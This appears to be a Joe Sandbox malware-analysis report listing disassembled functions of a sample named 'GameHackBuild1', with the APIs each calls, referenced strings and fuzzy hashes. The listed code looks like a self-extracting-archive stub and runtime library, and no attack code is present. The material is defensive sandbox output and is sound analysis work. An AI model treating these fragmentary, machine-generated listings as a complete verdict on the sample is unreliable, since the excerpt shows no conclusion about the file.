Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 5f764cd97027339fb8f93f320e442ca5c4d6e633e512b3b345f5457646b4bf22
Instruction ID: 2f7c8624f67969ca665341f4295523b0fbcba0daa1d20b44c830c51c0f2a8115
Opcode Fuzzy Hash: 5f764cd97027339fb8f93f320e442ca5c4d6e633e512b3b345f5457646b4bf22
Instruction Fuzzy Hash: 651170B1504709AFC3215FA5DC84AE7FBECEF99755F10482EF1DA86240D6B169C1CB60

Function 00A1D38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00A1D3DE
REPLACEFILEDLG, xrefs: 00A1D3C9, 00A1D3FD

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 73b0e87f1e3b822ee429f5461e6d2ff54018e9a6e31c829d6a647272649bee3e
Instruction ID: 3c3d68a82086f18f16d52c9afb6f046cb5c42dda0cc41e2d59dc633bc1a80e7d
Opcode Fuzzy Hash: 73b0e87f1e3b822ee429f5461e6d2ff54018e9a6e31c829d6a647272649bee3e
Instruction Fuzzy Hash: F601D479600245BFCB11CFA8FD04E9A3BA9FB49791F040425F905D2230C776AC91EBA1

Function 00A1D287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00A1D29D
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00A1D2D9

Strings

sfxpar, xrefs: 00A1D2D4
sfxcmd, xrefs: 00A1D298

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 3e142e65bc64b631eb102d493b99540fd897e69eee7c5ba733427013700e0552
Instruction ID: 8014811b03e20c81f25ac1f8e53ac372371671496c397c97eef9ae6bae2c8bb0
Opcode Fuzzy Hash: 3e142e65bc64b631eb102d493b99540fd897e69eee7c5ba733427013700e0552
Instruction Fuzzy Hash: 23F0A77280522CAADB206FD49C0AEFA7768EF09781B000511FC4466141D671CD80D6F1

Function 00A291DE Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A29269
__alldvrm.LIBCMT ref: 00A2946A
__alldvrm.LIBCMT ref: 00A2948C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: a1feb65eed64049cf25ee4642f159925efa9ad90842d97ad331c87beb28f585e
Instruction ID: 0e7dc247cb3aeef1d3c604c414c1679a4b15730a7f5d0a718d480d0fbdc74546
Opcode Fuzzy Hash: a1feb65eed64049cf25ee4642f159925efa9ad90842d97ad331c87beb28f585e
Instruction Fuzzy Hash: 2AA15672A003A69FEB21DF6CE8917EFBBE5EF55710F18417DE8859B281C2389942C750

Function 00A0A2AB Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,00A080B7,?,?,?), ref: 00A0A351
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,00A080B7,?,?), ref: 00A0A395
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,00A080B7,?,?,?,?,?,?,?,?), ref: 00A0A416
CloseHandle.KERNEL32(?,?,00000000,?,00A080B7,?,?,?,?,?,?,?,?,?,?,?), ref: 00A0A41D

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 7c03cd2ec4f641202a4de512f20884a8c5f383a60739c8afe85cef733d2db172
Instruction ID: a3e0a11b95ad90cece9e22f022647ca581a6a22436f23bea814382d83aed1ca7
Opcode Fuzzy Hash: 7c03cd2ec4f641202a4de512f20884a8c5f383a60739c8afe85cef733d2db172
Instruction Fuzzy Hash: F441FE3124C388AAE731DF64EC55FEEBBE8ABA5300F04091CB5D0D71D1C6649A88DB13

Function 00A2C099 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,3FE85006,00A23F66,00000000,00000000,00A24F9B,?,00A24F9B,?,00000001,00A23F66,3FE85006,00000001,00A24F9B,00A24F9B), ref: 00A2C0E6
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A2C16F
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00A2C181
__freea.LIBCMT ref: 00A2C18A

Part of subcall function 00A28518: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A23A26,?,0000015D,?,?,?,?,00A24F02,000000FF,00000000,?,?), ref: 00A2854A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: c0c50ffca38cfb2892084f1d6d310bd8dcb8d39874ef1e7aa6b886e5ad02cc87
Instruction ID: a93a63a386e0623f5851a21891488b014e0ce9dc2bd46327cc268f35c393affc
Opcode Fuzzy Hash: c0c50ffca38cfb2892084f1d6d310bd8dcb8d39874ef1e7aa6b886e5ad02cc87
Instruction Fuzzy Hash: B4319D72A0022AABDF25CF68EC46DAE7BA5EB44720F150228FC0596151E735CD61CBA0

Function 00A22503 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00A2251A

Part of subcall function 00A22B52: ___AdjustPointer.LIBCMT ref: 00A22B9C

_UnwindNestedFrames.LIBCMT ref: 00A22531
___FrameUnwindToState.LIBVCRUNTIME ref: 00A22543
CallCatchBlock.LIBVCRUNTIME ref: 00A22567

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID:
API String ID: 2633735394-0
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 42e9bb1c7a132408b4157787edab476dd93eb46f008c4a535af681a6bd557356
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 5F012532000118BFCF129F69ED01EDA3BBAEF58714F058124FD1866120C376E9A1EBA1

Function 00A19DBB Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A19DBE
GetDeviceCaps.GDI32(00000000,00000058), ref: 00A19DCD
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00A19DDB
ReleaseDC.USER32(00000000,00000000), ref: 00A19DE9

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 2918052e8a795c240f4a5f006118d2dfae4ad3352b2300c7bed9a49c2227c63d
Instruction ID: 26a09c81858f20c4fae62ed02d9e9eb2868746805e0df57d38c2e05681b57e13
Opcode Fuzzy Hash: 2918052e8a795c240f4a5f006118d2dfae4ad3352b2300c7bed9a49c2227c63d
Instruction Fuzzy Hash: 82E0EC39985A21A7D3209BE5BD0DB8F3B74AB0AB62F060005FB05A6190DAB44846CB90

Function 00A22016 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00A22016
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00A2201B
___vcrt_initialize_locks.LIBVCRUNTIME ref: 00A22020

Part of subcall function 00A2310E: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 00A2311F

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00A22035

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction ID: 4d2816a3c64bd502d2bbecd7e21a4841cb91aa5e0763e70e5cef61d02fa40565
Opcode Fuzzy Hash: 50341c1e121bd6f5d5b78c5b3ee2afe6a0478775b34c66270a9efbcfed992c13
Instruction Fuzzy Hash: E6C04836018670F41C223BBE33027BD0B000D63BC5BA226F2ED801B543DE0E0F2AA232

Function 00A19F5D Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00A19DF1: GetDC.USER32(00000000), ref: 00A19DF5
Part of subcall function 00A19DF1: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00A19E00
Part of subcall function 00A19DF1: ReleaseDC.USER32(00000000,00000000), ref: 00A19E0B

GetObjectW.GDI32(?,00000018,?), ref: 00A19F8D

Part of subcall function 00A1A1E5: GetDC.USER32(00000000), ref: 00A1A1EE
Part of subcall function 00A1A1E5: GetObjectW.GDI32(?,00000018,?), ref: 00A1A21D
Part of subcall function 00A1A1E5: ReleaseDC.USER32(00000000,?), ref: 00A1A2B5

Strings

(, xrefs: 00A1A0A3

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID: (
API String ID: 1061551593-3887548279
Opcode ID: 49ce8299d188e5bf269a0d2f264320fc26f7c8b3ea35480c8d37af5a7f17c1c9
Instruction ID: 2622ba8bf5eb3cf9781cf40f70758bb755b82294a7f7d225b8a898517bcfd9b1
Opcode Fuzzy Hash: 49ce8299d188e5bf269a0d2f264320fc26f7c8b3ea35480c8d37af5a7f17c1c9
Instruction Fuzzy Hash: F8811371608214AFC614DFA9CC44A6BBBF9FF98700F00491DF98AD7260CB75AD06CB52

Function 00A10E37 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A10FF1

Strings

%s: %s, xrefs: 00A11000
%ls, xrefs: 00A10E76, 00A10E8C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: f2b7016e06f56a0838b56bf906c677226ee5deecfd424dec57a5d2a87e8f81eb
Instruction ID: 5e798fefcf7a5a47df63c7d8cb53b895fc252430d8a25df75fbb042a89317bb3
Opcode Fuzzy Hash: f2b7016e06f56a0838b56bf906c677226ee5deecfd424dec57a5d2a87e8f81eb
Instruction Fuzzy Hash: 8A51B73568C704FEEA211AE4DD43FF67A76EB08B00F248906F7DB648D5C6E255D0A613

Function 00A2A918 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A2AA84

Part of subcall function 00A28849: IsProcessorFeaturePresent.KERNEL32(00000017,00A28838,0000002C,00A3BC40,00A2BA17,00000000,00000000,00A29028,?,?,00A28845,00000000,00000000,00000000,00000000,00000000), ref: 00A2884B
Part of subcall function 00A28849: GetCurrentProcess.KERNEL32(C0000417,00A3BC40,0000002C,00A28576,00000016,00A29028), ref: 00A2886D
Part of subcall function 00A28849: TerminateProcess.KERNEL32(00000000), ref: 00A28874

Strings

., xrefs: 00A2AC3B
*?, xrefs: 00A2A95B

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: 8da25cd4491836bc39a0a284343e386c4d4306b0af38769002cbed5a576452a2
Instruction ID: ac0762c97351b40225c169ae6814ac4e547b770662b630e1094ae4b58deea03a
Opcode Fuzzy Hash: 8da25cd4491836bc39a0a284343e386c4d4306b0af38769002cbed5a576452a2
Instruction Fuzzy Hash: BD51B071E0022AAFDF14DFACD981AADB7B5EF68310F258179E844E7300E6359E41CB51

Function 00A0772B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A07730
SetFileTime.KERNEL32(?,?,?,?,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00A078CC

Part of subcall function 00A0A444: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A0A27A,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A458
Part of subcall function 00A0A444: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A0A27A,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A489

Strings

:, xrefs: 00A077A1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: File$Attributes$H_prologTime
String ID: :
API String ID: 1861295151-336475711
Opcode ID: 1bf9919cce236f9d7391c65d6fedef3bf602a31a5e46ca559b1f5104a7f5951b
Instruction ID: 991df0c6d75a481f39ba21496e27c76995b33234eff5590b3713490124225fd0
Opcode Fuzzy Hash: 1bf9919cce236f9d7391c65d6fedef3bf602a31a5e46ca559b1f5104a7f5951b
Instruction Fuzzy Hash: 73414371C0525CAADB25EB50EE55EEEB37CAF45340F0080DAB609A20D2DB746F88CF61

Function 00A0B66C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 130COMMON

Download Yara Rule

Strings

UNC, xrefs: 00A0B708
\\?\, xrefs: 00A0B6BE, 00A0B6FA, 00A0B75B, 00A0B7AE

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: UNC$\\?\
API String ID: 0-253988292
Opcode ID: 900dabe9da1e24642be7fc51a660d4f9fce64123d38d653b42d1941bbe73a8be
Instruction ID: 5cae316a80b40a1ae468a35eed28ec0184c9fd94a6d2c294365ce246ad98c46e
Opcode Fuzzy Hash: 900dabe9da1e24642be7fc51a660d4f9fce64123d38d653b42d1941bbe73a8be
Instruction Fuzzy Hash: 9541AF3586121EBACF20AF61EE41EEB77A9AF45790F104425F814A71D2E770DA50CA74

Function 00A18FB6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 00A18FC4

Strings

Shell.Explorer, xrefs: 00A18FEF
about:blank, xrefs: 00A19082

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: Shell.Explorer$about:blank
API String ID: 0-874089819
Opcode ID: 4335bc94f7791ef372a4f60466853f6055ca60dbea5b903580629b0ccd2aec45
Instruction ID: e3396996968cd398ecfb55465f64273669bc3c92bfe0f792925e91536fc309eb
Opcode Fuzzy Hash: 4335bc94f7791ef372a4f60466853f6055ca60dbea5b903580629b0ccd2aec45
Instruction Fuzzy Hash: 53218071604304AFDB08DF68CCA5AAB77A9FF48711B14856DF8098B282DB74EC81CB60

Function 00A0EBF2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00A0EB73: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00A0EB92
Part of subcall function 00A0EB73: GetProcAddress.KERNEL32(00A481C0,CryptUnprotectMemory), ref: 00A0EBA2

GetCurrentProcessId.KERNEL32(?,?,?,00A0EBEC), ref: 00A0EC84

Strings

CryptProtectMemory failed, xrefs: 00A0EC3B
CryptUnprotectMemory failed, xrefs: 00A0EC7C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AddressProc$CurrentProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 2190909847-396321323
Opcode ID: ede37f8de4163b5e264aa777e100c2d2c7e35501192f4f9c91f119737c2289e1
Instruction ID: 09acac824aed66305e7d28db14e51613275bfe61e7a9245c73c388cce984bca4
Opcode Fuzzy Hash: ede37f8de4163b5e264aa777e100c2d2c7e35501192f4f9c91f119737c2289e1
Instruction Fuzzy Hash: FE115932A0422CAFFB14DB34FE06AAE3754AF41714B04451AFC056B2C1CB7B9E82A7D0

Function 00A0130B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 00A0DA98: _swprintf.LIBCMT ref: 00A0DABE
Part of subcall function 00A0DA98: _strlen.LIBCMT ref: 00A0DADF
Part of subcall function 00A0DA98: SetDlgItemTextW.USER32(?,00A3E154,?), ref: 00A0DB3F
Part of subcall function 00A0DA98: GetWindowRect.USER32(?,?), ref: 00A0DB79
Part of subcall function 00A0DA98: GetClientRect.USER32(?,?), ref: 00A0DB85

GetDlgItem.USER32(00000000,00003021), ref: 00A0134F
SetWindowTextW.USER32(00000000,00A335B4), ref: 00A01365

